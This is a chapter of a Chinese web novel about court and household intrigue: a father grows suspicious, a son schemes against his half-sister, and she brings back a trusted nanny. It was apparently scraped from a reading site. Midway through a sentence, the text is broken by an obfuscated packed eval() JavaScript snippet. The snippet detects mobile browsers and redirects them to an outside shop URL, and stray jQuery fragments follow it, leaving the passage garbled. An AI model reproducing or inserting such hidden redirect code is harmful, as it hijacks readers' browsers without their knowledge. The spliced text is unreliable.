默认冷灰
24号文字
方正启体

12. 第十二章

作者:礼酒本书字数:K更新时间:
    去往北岭的路上。


    宋澜之骑着马走在荒漠中,他心里急,勒住缰绳的手不由得用力,马儿也听话,嚎叫一声加快了速度。身侧负责引路的下属险些追不上他的脚步。


    “听闻宋统领第一次来北岭,没想到竟对路况这么熟悉,果真厉害。”追上他脚步的下属奉承道。


    宋澜之听了,只余光瞥了他一眼,没接话,下属只好悻悻闭嘴。


    这并不是他第一次走这条路,虽说跟记忆里有些偏差,宋澜之仍记得清楚。


    这条路荒凉寂寥,不知当时她走过这条路时,内心又是怎样不甘。


    临行前的最后一面,她应能明白他话中含义,她是聪明人,不会让自己身陷囫囵。


    此番前去北岭,不知年前是否能归来,最好不要误了原本计划提亲的时日。


    因着府中纷乱,祝昭昀不仅要忙着公事,还要操心着府中之事,尽管有祝遥从旁协助,却仍忙的焦头烂额。


    这日下朝之后,陆长史陆文渊喊他一同去天香楼吃酒。


    桌上祝昭昀依旧皱着眉,心事颇多的样子,陆文渊给他倒了杯酒递过去,“这是天香楼新出的杏花酿,听闻此酒辛辣甘醇,引得无数人慕名而来,正巧今日得空,特邀祝兄来此品鉴。”


    祝昭昀接过酒一饮而尽,灼烧感从喉咙一瞬间穿至腹中,激得他不禁咳嗽起来,几滴泪从眼角渗出。


    陆文渊伸手拍了拍他的背,“这是烈酒,可不能喝的这么猛。”


    祝昭昀缓过来气,翻遍衣袍也没找到手帕,只好用衣袖拭去眼角的泪,嘴里问着,“陆兄,今日找我来,可是有什么要事商议?”


    陆文渊淡然一笑,并没有直接回答他的问题,他品了一口酒,发出喟叹的声音,又道,“阿遥最近怎么样?许久未见她了。”


    沈幽兰病上加病的事已经人尽皆知,也没什么可遮掩的,祝昭昀道,“最近天气不好,加之府中事多,她一直在家中帮忙操办。”


    “说来阿遥年纪也快到了吧,祝兄可有相中的人家?”


    祝昭昀神色变了变,多日来的操劳令他力不从心,此时终于惊觉陆文渊的话中含义,抬头对上他的目光,更是确定了心中猜想。


    “阿遥的婚事自然要着重考虑。”


    陆文渊又重新给他倒了杯酒,“阿遥素来持重端庄,品行相貌样样出众。想来不仅京中世家,恐怕连皇室宗族都趋之若鹜。”


    祝昭昀捏紧了茶杯,指肚泛白,嘴角却噙着笑,“陆兄当真是醉了,都开始说胡话了。”


    回府后,祝昭昀将自己关在书房,不许任何人靠近。


    昨日宋澜之已经启程去往北岭,他不知道这小子为何会接下这烫手山芋,现如今两家明面上仍没什么交集,他亦没有立场问询。


    陆文渊方才分明是在提醒他,宫里那些人恐怕已经盯上了祝遥,提醒他保护好祝遥,不能让她成为皇室相争的牺牲品。


    只是如今朝中纷乱,各种势力交缠,在没有处理好朝堂事务前,贸然定亲说不定会适得其反,况且宋澜之不在京中,若是定亲的消息传出,他是否能平安归来都是问题,宋家不会这么冒险。


    思索间,蓦地听见外头传来争执声,随即房门便被敲响。


    祝昭昀不觉有些生气,已经吩咐过不许人前来,怎还会有人来冲撞。


    “谁在外面?”


    “父亲,是我。”


    声音还带有些未褪去的稚嫩,是祝逾。


    “我正忙着,你若是没什么事就先回去。”祝昭昀正烦闷着,并不想见人。


    祝逾却并不打算直接离开,于是门外的声音再次响起,“父亲,我听下人们说您近日似乎有所烦闷,儿子愚钝,帮不上什么忙,只能自己去炖了一碗参汤,给父亲调养一下身子。”


    书房内沉默一阵,随后传出有些低沉的声音。


    “进来吧。”


    听见通传,祝逾瞥了一眼刚拦住他的下人,那小厮被他吓得不敢抬头。


    转过身后,他面上又换上乖巧懂事的样子,端着参汤走进房内。


    把参汤放置在祝昭昀面前的桌子上,祝逾听话地退至一旁。


    盯着这碗汤,祝昭昀淡淡道,“你有心了,天色不早,早些回去休息罢。”


    祝逾行了礼,却并没有动。


    “怎么?祝昭昀皱着眉,“你还有什么事?”


    “扑通”一声,祝逾直接跪了下去。


    “你做什么?”祝昭昀面露不虞。


    “求父亲救救我母亲吧,”他的声音带着哭腔,“母亲染病已久,喝了那么多汤药却还不曾见好,依儿子所见,母亲恐怕是被人陷害了啊!”


    祝昭昀面上情绪不显,他眯了眯眼,语气也沉重了些,“你来找我,是为了这件事?”


    “恳求父亲派人调查。”


    祝逾跪倒在地上,身子微微发抖。


    可微微勾起的嘴角,暴露了他内心的得意。


    如今这府上除了祝昭昀,他和祝迎都是沈幽兰亲生,更何况祝迎还在禁足中,余下的,除了拥有管家权的祝遥,谁还会有嫌疑呢?


    祝昭昀按了按太阳穴,语气疲惫,“我知道了,你先回去吧。”


    祝逾听罢,知道不能再多说了,只得从地上爬起,俯身行礼后退出房去。


    待到祝逾关上门离开,祝昭昀无力地瘫坐在椅子上,他闭上眼睛,好像这样就不用面对这些事。


    他的后宅没有其他妾室,沈幽兰之事他亦觉蹊跷。他愧疚于祝遥,并不想认为这事跟她有关。


    不会的,绝对不可能。


    时间一点一滴过去,燃着的烛火早已熄灭,屋内一片漆黑,只剩一个人影,在黑暗中一动不动。


    揽翠阁,祝遥正在处理府中事务。


    最近因着沈幽兰的事,府上更是乱套了,而可用之人又是甚少,祝昭昀忙不过来,只得让祝遥帮忙。


    祝遥看完最后一本账,揉了揉发酸的手腕。沈幽兰发病这几天,寻了无数郎中,甚至动用了祝昭昀的名帖请了宫中太医,灌下一碗又一碗的汤药,只是脸上的红疹非但没有减轻的迹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271998|198143||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    象,反而逐渐开始溃烂。


    这药丸就是如此,中毒后,除非解药,其他任何药只要服下就会加快毒素的蔓延,直至全身溃烂。


    外头流言不断,有小人趁机向皇上弹劾祝昭昀家宅不宁,皇上也不喜在上朝时被祝昭昀管束,大手一挥让他专心处理家事,近期就不要再去上朝了。


    而他又不懂掌家之术,因而大多数事务都压在祝遥身上,就算她再能干,也只是一个十多岁的小姑娘,几日下来,面色都憔悴许多。


    尽管祝遥很累,却从没开口提过寻个帮手,她在等时机。


    房间门被推开,带进的风吹得烛火晃晃悠悠。


    “小姐,老爷来了。”抱影的声音响起,祝遥抬起头,看见她身后跟着的祝昭昀。


    祝遥放下笔,起身相迎。


    待祝昭昀坐下,祝遥端着泡好的新茶递给他,“这么晚了,父亲可有什么要事?”


    祝昭昀接过茶盏,搁在一旁的桌上,祝遥扫了眼他的动作,笑着没吭声。


    “这几日,辛苦你了。”祝昭昀语气淡淡。


    从他一进门起,祝遥就发觉出他今夜有些异样,知道多说无益,因而只乖巧地回答,“都是一家人,没有什么辛苦不辛苦。”


    短暂的沉默后,祝昭昀突然开口,“这几日,你去瞧过你母亲吗?”


    祝遥的心沉了一下,猜测祝昭昀的用意,她先是试探性地答,“母亲生病后,就不愿意再见人了。”


    祝遥不动声色地观察祝昭昀的神色,却见他只是点点头,没再继续这个话题,“你这院里下人少,也没个靠得住的管事嬷嬷,什么事都得你自己做,明日我就再去寻些人来帮你。”


    终于等到这句话,祝遥知道时机已到,面上却佯装思考,“若是着急忙慌的就寻人来,恐怕也不太好。”


    “嗯?那依你看,应当怎么办?”


    祝遥微笑着道,“父亲可还记得刘嬷嬷,她曾是母亲的陪嫁,母亲去世后,曾经服侍她的人都被遣送走了。”


    “刘嬷嬷,我记得她。”


    “前段时日嬷嬷还曾来信问候,她与我母亲一同长大,情同姐妹,也颇有管家的智慧。依女儿愚见,此时比起随意寻人,不如请嬷嬷回来。”


    祝昭昀沉吟不语,祝遥也不着急,安静地站在他面前。


    “交给你去办吧。”


    许久,祝昭昀的声音响起,辨不出情绪。


    祝遥的目的已经达到,也不再主动开口,祝昭昀也不知该说什么,最后随意寒暄几句就离开了。


    祝昭昀走后,抱影扶着祝遥坐下,眉眼间有些担忧,“小姐,老爷今晚来这一趟,恐怕不是来探望这么简单。”


    “我知道。”祝遥道。


    “那小姐此时就提出接嬷嬷回来,不是更惹老爷怀疑吗?”


    “机会难得,我也没有办法,只能先铤而走险试一试。”祝遥眉心微蹙,“你去打听打听,今晚父亲来之前见过谁。”


    祝遥看向窗外,月色摇曳,银辉遍撒,明日会是一个好天气。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)